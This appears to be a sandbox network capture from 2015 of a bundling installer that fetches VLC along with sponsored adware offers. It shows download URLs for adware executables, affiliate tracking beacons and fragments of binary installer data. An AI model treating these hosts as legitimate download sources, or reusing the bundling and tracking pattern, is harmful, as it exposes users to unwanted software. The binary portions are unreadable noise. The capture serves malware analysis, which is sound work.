62428Z..150312162428Z0}1.0...U....BE1.0...U....GlobalSign nv-sa1:08..U
...1GlobalSign CodeSigning CA - G2 OCSP responder - 21.0...U....201412
121724000.."0...*.H.............0.........rm...6y...M...... B.....).[.
....W!..7wM.1 .....W7.......9...0...K.n..V..x..U............;.jrL.i.i.
.Z.V..9......~.........o....i*~m..<............o. .2.P<...B..C..
5......#..H.*Y=....H.i%........x=.....k%..&.....|...".%6..u;Um".df*..s
y..S!...p[.>.&....c. .[........0..0...U....0.0...U...........0...U.
%..0... .......0... .....0......0...U......U.<r...{C...(.I.....0...
U.#..0....n......>..t]..../Pz0...*.H.............5....9G....F....F.
.Sx...9n5K..S..B.OD...:=N...t..c2=.).1......Q<.*..O....94.e7..Y..A.
.:]r...ej..Q....p]...I......Kt...n..N.... .O.-JY.'..fqB..q~..J...I....
o..a.n([email protected].........)3. ....n...}.:e.6Y........4E..j..
1qZ..\.Ymcp.V j5.....}....@..._..<<< skipped >>>

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=241224-

User-Agent: Better Installer(Mozilla)

Host: d22bq5tzj1f5l6.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 80408

Connection: keep-alive

Date: Sun, 08 Feb 2015 04:52:27 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 241224-321631/321632

Age: 709

X-Cache: Hit from cloudfront

Via: 1.1 e89c67951b2bc58773e3664c08702f34.cloudfront.net (CloudFront)

X-Amz-Cf-Id: DF3sPBtsfIJ9BKc2LOEVdHdvYoCZU3YKL9clymyZrw95eqmaLCUH0w==
.........$C......?AVbad_exception@std@@[email protected]...........
..?...................C...d=C.`=C.\=C.X=C.T=C.P=C.L=C.D=C.<=C.4=C.(
=C..=C..=C..=C..=C..=C..<C..<C..<C..<C..<C..<C..<
C..<C..<C..<C..<C..<C..<C..<C..<C..<C..<
C..<C..<C..<C.|<C.p<C.l<C.h<C.\<C.H<C.<&
lt;C.............4<C.,<C.$<C..<C..<C..<C..<C..;C.
.;C..;C..;C..;C..;C..;C..;C.x;C.p;C.h;C.`;C.X;C.P;C.H;C.@;C.8;C.0;C.(;
C..;C..;C..:C..:C.`;C..:C..:C..:C..:C..:C..:C.x:C.p:C.h:C.T:C.,:C..:C.
......................................................................
........................C...............C...............C.............
..C...............C...................................C..........'C. ,
C..-C...C...C...C. .C.................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
.............AC..AC.hAC.XAC.<AC.(AC..AC..@C..@C..@C..@C..@[email protected]@C
[email protected]@[email protected]@C.(@C..@C..@C..?C..?C..?C..?C..?C.T@C.|?C.d?C.T?C.&<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEEES5jLHsYoCmjofrIA6uJ8= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.verisign.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1790

content-transfer-encoding: binary

Cache-Control: max-age=604307, public, no-transform, must-revalidate

Last-Modified: Wed, 11 Feb 2015 02:24:43 GMT

Expires: Wed, 18 Feb 2015 02:24:43 GMT

Date: Wed, 11 Feb 2015 02:34:30 GMT

Connection: keep-alive
0..........0..... .....0......0...0........6?s....V....OlL".O..2015021
1022443Z0s0q0I0... ..........!7h....O.d...AG&h.....k.&p..?...-.5......
.A..2.....:...:......20150211022443Z....20150218022443Z0...*.H........
.....<..|~!....'s.bW....e4x...VTE.L.....m.v.4-...2:,7.2oY../....~.L
......Ty.P<...*kV........0.0...X......<....XWn0=2;~%./..s...bw..
............"[email protected]....%.....M.3.<.6...)..g%
.Q..B).[[email protected]"..A.U...p. X.OXh.R.4.... ,N..........#0..
.0...0..........<o&S.-S..}...e.30...*.H........0..1.0...U....US1.0.
..U....VeriSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms
 of use at hXXps://VVV.verisign.com/rpa (c)09100...U...'VeriSign Class
 3 Code Signing 2009-2 CA0...141205000000Z..150305235959Z0..1.0...U...
.US1.0...U....VeriSign, Inc.1.0...U....VeriSign Trust Network1;09..U..
.2Terms of use at hXXps://VVV.verisign.com/rpa (c)091<0:..U...3Veri
Sign Class 3 Code Signing 2009-2 OCSP Responder0.."0...*.H............
.0.........{(..t....2.Vf.....&;6).i*[email protected]._p.E.6.|.mk
....(..........p...........X.DF....^0N....b9.:..J. ZK.".^..\..p.'.$..J
A..~QG.d.}...r...gv... f...z.#..}..J...r9h.........LI-..^.......PUD.h&
lt;.l....(n..i.....E.....2....^./Y......Y.m...'...hz..y..E..........0.
..0...U....0.0....U. ...0..0....`.H...E....0..0(.. .........hXXps://ww
w.verisign.com/CPS0b.. .......0V0...VeriSign, Inc.0.....=VeriSign's CP
S incorp. by reference liab. ltd. (c)97 VeriSign0...U.%..0... .......0
...U........0... .....0......0"..U....0...0.1.0...U....TGV-B-24710<<< skipped >>>

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=598ff6455fc9cb2614347b8534559781&tokyo_csrf2_timestamp=1423621774&slot_number=2&index_in_screen=1&index_in_session=2&display_height=170&0.4286163873031979 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_marimedia_1/vlcmediaplayervfps/dffadf6cea0603499f5ce29578e19940?v=2.1&uid=dffadf6cea0603499f5ce29578e19940&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1387656045.1423621778.1423621778.1423621778.1; __utmb=1.1.10.1423621778; __utmc=1; __utmz=1.1423621778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:29:45 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 11 Feb 2015 02:29:45 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab?6fb1bd974b711e2e HTTP/1.1

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Wed, 12 Mar 2014 20:20:10 GMT

If-None-Match: "0b96c77303ecf1:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: ctldl.windowsupdate.com


HTTP/1.1 200 OK

Cache-Control: max-age=604800

Content-Type: application/octet-stream

Last-Modified: Fri, 23 Jan 2015 02:29:11 GMT

Accept-Ranges: bytes

ETag: "803565fb436d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Content-Length: 57591

Date: Wed, 11 Feb 2015 02:34:05 GMT

Connection: keep-alive
MSCF............,...................I.................6Fm. .authroot.s
tl......8..CK...<T...g.v!M.d..f.%d..}K..5......dM*K..J.,%K"...!..=.
k..........{=/....{g.~...............'....6..N....w......(.$.>.7...
........'.....`.bx....^..$.'.^.K.C......<[email protected]
.....usXq.d.i.jF$.4.........KI.Q........A2m:..E.P|...(.^p..=G|.....m..
....  .6...H.e.....X'...%$r.Y.(..)........|...;...V^r.VM.._*X.I. ..4..
...*.....Y..`.0w.u...c.i.[..-...x..<.8.<.p..,..y.[v.Yn`......!.s
...4e......B...$.,..........w.Pd.)....,..#.%..h...8...`.A...8.i(.!.$/.
=.....i.\X.H......"...a...k...y6....F.._?\*.&..3.AJo.!..`....9....=.p.
u..u....f.f....w...?..S..I.;.....5._...F.f..G?$......."..kq.y'.6tJ.e%.
.G.n.....z<.pX"....1..g."........V:.H.-...!}LM..t..-.y.j&...n{..-.]
H. .....A.O.Xg..B...#[email protected]..*.....T...}o._./S..h@$
[email protected]..#.:?."....1..v.....&G...?O1x6"5.@..$.U...n.J...w
.Y.{..........E.N.&...&.rC..W.....M.........,.e.....&eI(/eSO.B..K...R.
 [email protected].....(..Y./;-..M5.0.H2.y....:...........a.U....%.S.).^.
...1.B..a..=...q...X .B....F.../..../.Z...'..t....C....,.^...N=..t%N|I
C.#.)6...q.E.J.i.E.>....".L........>...VV........1..:UJ .4.BB.P.
....q....ox.........5....'d...;......>.T....:.b&c .......O./.>,c
....L...s...m...Kw........G.M..g.V.~q.........V{.Z.8|...........G.?.|.
K....2f6...l.G...wbf...2....g_.X`h.\[email protected].......
.u1.%v.w....q..E.!%U.!...O.....t..-|L.c}P.#....?......9......o......9.
..7...... .._H.y].3~.M...,.=.E...6.......a..8p.....|.=............<<< skipped >>>

GET /msdownload/update/v3/static/trustedr/en/D69B561148F01C77C54578C10926DF5B856976AD.crt?057e69f53a553e2c HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ctldl.windowsupdate.com


HTTP/1.1 200 OK

Content-Type: application/x-x509-ca-cert

Last-Modified: Thu, 22 Jan 2015 02:19:39 GMT

Accept-Ranges: bytes

ETag: "802facdfe935d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Content-Length: 867

Date: Wed, 11 Feb 2015 02:34:05 GMT

Connection: keep-alive
0.._0..G.............!XS..0...*.H........0L1 0...U....GlobalSign Root 
CA - R31.0...U....GlobalSign1.0...U....GlobalSign0...090318100000Z..29
0318100000Z0L1 0...U....GlobalSign Root CA - R31.0...U....GlobalSign1.
0...U....GlobalSign0.."0...*.H.............0.........%v.y.x".......(..
.v....r.F.C....._$..K.`.F.R...Gpl.d...,...=. .......y.;..w...I.jb/.^..
h..'.8...>..&Y.s....&.....[...`.I.(.i;...(....aW7.t..t.:.r/.......=
...3.. .S.:.s..A. :......O..2`.W....hh.8&`u..w..... [email protected].^....w.
d.z._....b..l.Ti....n...qv.i.........B0@0...U...........0...U.......0.
...0...U........K...E$.MP.c.......0...*[email protected].
...A.....(.3.k.t...-..........sgJ..D{x..nlo.).39E....Wl.....S.-.$l..c.
.ShgV>...5!..h....S......]F...zX(./....7A..Dm.S(.~.g.........L'.L.s
sv.....z..-....,.<.U...~6..WI...-|`..AQ.#...2k.....,3.:;%..@.;,.x.a
/....Uo.....M.(.r..bPe.....1....GX?_HTTP/1.1 200 OK..Content-Type: app
lication/x-x509-ca-cert..Last-Modified: Thu, 22 Jan 2015 02:19:39 GMT.
.Accept-Ranges: bytes..ETag: "802facdfe935d01:0"..Server: Microsoft-II
S/7.5..X-Powered-By: ASP.NET..Content-Length: 867..Date: Wed, 11 Feb 2
015 02:34:05 GMT..Connection: keep-alive..0.._0..G.............!XS..0.
..*.H........0L1 0...U....GlobalSign Root CA - R31.0...U....GlobalSign
1.0...U....GlobalSign0...090318100000Z..290318100000Z0L1 0...U....Glob
alSign Root CA - R31.0...U....GlobalSign1.0...U....GlobalSign0.."0...*
.H.............0.........%v.y.x".......(...v....r.F.C....._$..K.`.F.R.
..Gpl.d...,...=. .......y.;..w...I.jb/.^..h..'.8...>..&Y.s....&<<< skipped >>>

GET /css?family=Abel HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: fonts.googleapis.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/css

Timing-Allow-Origin: *

Expires: Wed, 11 Feb 2015 02:31:38 GMT

Date: Wed, 11 Feb 2015 02:31:38 GMT

Cache-Control: private, max-age=86400

Content-Length: 155

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alternate-Protocol: 80:quic,p=0.02
@font-face {.  font-family: 'Abel';.  font-style: normal;.  font-weigh
t: 400;.  src: url(hXXp://fonts.gstatic.com/s/abel/v6/3YEwT2a1878zysq9
2S8_9w.eot);.}.HTTP/1.1 200 OK..Content-Type: text/css..Timing-Allow-O
rigin: *..Expires: Wed, 11 Feb 2015 02:31:38 GMT..Date: Wed, 11 Feb 20
15 02:31:38 GMT..Cache-Control: private, max-age=86400..Content-Length
: 155..X-Content-Type-Options: nosniff..X-Frame-Options: SAMEORIGIN..X
-XSS-Protection: 1; mode=block..Server: GSE..Alternate-Protocol: 80:qu
ic,p=0.02..@font-face {.  font-family: 'Abel';.  font-style: normal;. 
 font-weight: 400;.  src: url(hXXp://fonts.gstatic.com/s/abel/v6/3YEwT
2a1878zysq92S8_9w.eot);.}...

GET /software_files/vlc/2_0_2/vlc-2.0.2-win32.exe HTTP/1.1

Range: bytes=16972771-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 11 Feb 2015 02:29:35 GMT

Content-Type: application/octet-stream

Content-Length: 5657590

Last-Modified: Thu, 11 Oct 2012 11:07:06 GMT

Connection: close

ETag: "5076a85a-1594fd9"

Content-Range: bytes 16972771-22630360/22630361
.....N......A....r.....]...w. ,.>..,.U.....2m..p.p^i.c..v.0....lIB.
......nk....j{E.....d..1..:z....hx....:n.Z5..$.E.....X\.u.~....o.>o
@.D..k.UF_.S..M......."...R.,h{g|..E}.....?h.......|...Z..j#6...Z...e.
.z.....3...Vy(!......|4...[...S e.....]."W:...|........nk....A..1..e.&
gt;=^.....\.......4i. Y'b.....7...3H2.S..5.v..A.....m..4.AQw..%..E..98
. f.* .;......*.Y....y.E[.Fj..x._...y....7...K!Jk.......?2..S.m[....XC
E..g&V......iP..(.zf......=....)k.qq,[email protected]......... ..7.$
.u$...`...k.......c.M..^...*....A.1d9....L..6.......S...&.o..9.....9..
*.R.k..^.. ..\!...[..:..6<(..=.&.....Y.....<3D.......b.....|."R.
............t.Q.bD.?W......e:..\z.z..D..V...5eL\.6.!/....U..Y9.U[.....
..1..Mf.^.<.0....B...L..a. [email protected]....!..(.
Pb..0^....[...I&k.w.UT.!x.4../.R2b.q8..gvc0.....-..][email protected]....~. .
`....p...\N.....~..k...-..A....f.)d..).X...}...X....V..YB....Y.^..K...
#[email protected]....,C.rXut3f...R.......,.$.....Z...5....?e@..~J2.z*k.
....n.. .<4/M.m..{.P|......R../..F_.......o...........1,.....:..Vw.
?...o87.V.....>(.....M..E&.]E...y(u~MA5.......2...!....{L....AK.<
; .Z.~7........HS..UZ...M.....4`~.........IE-.".pL.I. .2RR.}...(......
...3.....fl..g..[...i....(..c.Bj.Xv...T. ....\./.o......d........P7...
B......i H^....W.jt.U....r..r.......V<....8.'w....fE.s.R.}.(.....(0
..y..T.m$.j..y%....~..|.O1$5....zy:..:....v_ .......o\-.2l.S..7y..[.(b
.=.....p%.......`..M]....QM...4..h...7x.-.X ..?Z_8Yy3a.D"...Z..'(A .
..}G..zS......i.h..I.2....;.gDI^[email protected])....Y..g5[j.....}<<< skipped >>>

GET /pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=24ec7458ac0d629426e271fa18c42ac7&tokyo_csrf2_timestamp=1423621824&slot_number=1&index_in_screen=1&index_in_session=1&0.38661388102771715 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_marimedia_1/vlcmediaplayervfps/fc5ae9ef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5ae9ef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1387656045.1423621778.1423621778.1423621778.1; __utmb=1.1.10.1423621778; __utmz=1.1423621778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:30:35 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 11 Feb 2015 02:30:35 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......

GET /pinger?event_type=install_fail&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=24ec7458ac0d629426e271fa18c42ac7&tokyo_csrf2_timestamp=1423621824&slot_number=1&index_in_screen=1&index_in_session=1&0.03873307585558067 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_marimedia_1/vlcmediaplayervfps/fc5ae9ef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5ae9ef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1387656045.1423621778.1423621778.1423621778.1; __utmb=1.1.10.1423621778; __utmz=1.1423621778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:30:35 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 11 Feb 2015 02:30:35 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......

GET /pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=24ec7458ac0d629426e271fa18c42ac7&tokyo_csrf2_timestamp=1423621824&slot_number=2&index_in_screen=1&index_in_session=2&0.40309789961284004 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_marimedia_1/vlcmediaplayervfps/fc5ae9ef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5ae9ef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1387656045.1423621778.1423621778.1423621778.1; __utmb=1.1.10.1423621778; __utmz=1.1423621778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:30:35 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 11 Feb 2015 02:30:35 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......

GET /pinger?event_type=install_fail&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=24ec7458ac0d629426e271fa18c42ac7&tokyo_csrf2_timestamp=1423621824&slot_number=2&index_in_screen=1&index_in_session=2&0.580118421183196 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_marimedia_1/vlcmediaplayervfps/fc5ae9ef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5ae9ef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1387656045.1423621778.1423621778.1423621778.1; __utmb=1.1.10.1423621778; __utmz=1.1423621778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:30:41 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 11 Feb 2015 02:30:41 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......

GET /pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=mystartsearch&tokyo_csrf2_key=24ec7458ac0d629426e271fa18c42ac7&tokyo_csrf2_timestamp=1423621824&slot_number=3&index_in_screen=1&index_in_session=3&0.7820844035045635 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_marimedia_1/vlcmediaplayervfps/fc5ae9ef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5ae9ef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1387656045.1423621778.1423621778.1423621778.1; __utmb=1.1.10.1423621778; __utmz=1.1423621778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:30:41 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 11 Feb 2015 02:30:41 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=71390-

User-Agent: Better Installer(Mozilla)

Host: d22bq5tzj1f5l6.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 214168

Connection: keep-alive

Date: Sun, 08 Feb 2015 06:12:59 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 71390-285557/285558

Age: 2517

X-Cache: Hit from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: suF6OqzQOkuBBEAA-Fwfyb9wNHfuL6nyc9yO-VrPKAcB6ca0xVNfPQ==
..IK.#.ikv7..=....\z....if.J^.;,5!.._...MR..w.OX..&.....p:.........5.L
.iT.L.O.....7D.]b..........3.. 2=v.a.....^k....xp .`..y.1>...A.Q!..
._.J.D.......j..].8v....>.P.\ei%..OU[.V.p.*ky..E*.D0).-l.B.....*..a
G.b^..T.yqu8.Np.'.Z&V`..-..2l..Bu.l ........4X.U..9p..}E|..J...".m..:.
[email protected]$h...8D.s"..]......3.. .$..H.Sf.z.....q.Ke.....b.......
IO[[email protected].....].<.........g.mG.
.as..ez|.C.......=p.^U|.`s6.).\).]........2j.....N....a...i\.m.<...
...8......z....=....i.s.2...r...n.=h.D".O.MN..a.S..f. .S.i....N>.O;
...>..4%.{.L....... m.....%.Hw.U<...."...ns.Z....).)`o:....O....
0..SDt..|V.G...iU.d P..x..{`i[.X.Uh..@..`C...;6.\..y.]-W.... ...G9`.%i
~.G.......r#`...`...G....Z..KQA~'vL2XAM..(o......jU.....3........7...o
[email protected].`....u...G......H.N.|..;#..G.n]J.Kx......t.if
.8u.^....L..L..;..# 6...p ...........U..KU%....F...>....L.sZ.Cm.!..
cllj...&.:......p..y.....ds_.....W..t2.,.I...Z..c.T?/&O...8..q..<:C
p.....7&.D7.....e,2.)..G..FP.l. .N....(......I.......4&...8.1;...M...=
.2..%;.V).>[email protected].!..GHUZ.nnh..........n#.....F.v.S...Z
y.m..........;..k...3..(. .k.............,H.D.L.....K...`[.. C..7X.uq.
zV.t...m..`..H.....s.e..R.7...4.F..`.b!..N.pY...=%K...s.Tt*9.rR..A....
xt.hR.k..25...=`...7.........&=....vK.A...4.d7y.....(....7.(..l.k...h.
C.w|..yP..#...lNI..\8....c...I&.h.[.=p... ...._......).;.>"@.....@.
n@..)...,....80.W......kh..z8.......W3S..E...3..H....^.t.L.\........3G
..b.....!.^....U......d..k.X...84P..%V........O._.rg.7.g..`G4.$u.x<<< skipped >>>

GET /utility.gif?report=fdata&f=3&c=820&i=10&n=ms_started&rnd=10626 HTTP/1.1

Host: errors.crossrider.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.6.0

Date: Wed, 11 Feb 2015 02:31:29 GMT

Content-Type: image/gif

Content-Length: 43

Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT

Connection: close

GIF89a.............!.......,...........L..;..

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=201020-

User-Agent: Better Installer(Mozilla)

Host: d22bq5tzj1f5l6.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 120612

Connection: keep-alive

Date: Sun, 08 Feb 2015 04:52:27 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 201020-321631/321632

Age: 709

X-Cache: Hit from cloudfront

Via: 1.1 e89c67951b2bc58773e3664c08702f34.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 1srlFsviZH84qogD0oDRcnDn7pf7Ll2ff5IYu6vehU92i0vUCIZv9A==
........................8...V...j.....................................
..........(...P...b...p.......p.......h...............................
................................H.................C...C...C...C...C.o.
C.{[email protected].`.C.........u.A...A.m.B...B.[.B...A..bB...........B.w.A.
...................T........<...8}[email protected]...`.....y.......
..K..t}C.$vA...A...A..vA..vA.gvA.generic..}C.$vA..vA..vA..vA..vA.gvA..
[email protected].....~C.$vA..vA..vA..vA..vA.gvA.system..T~C.$vA..vA
..vA..vA..vA.gvA.iostream stream error.....C..#A.*....~C..yA.C.....C.0
rA...A..~C..{[email protected]..{A...A.H.C.0rA...A.............bad allocation.
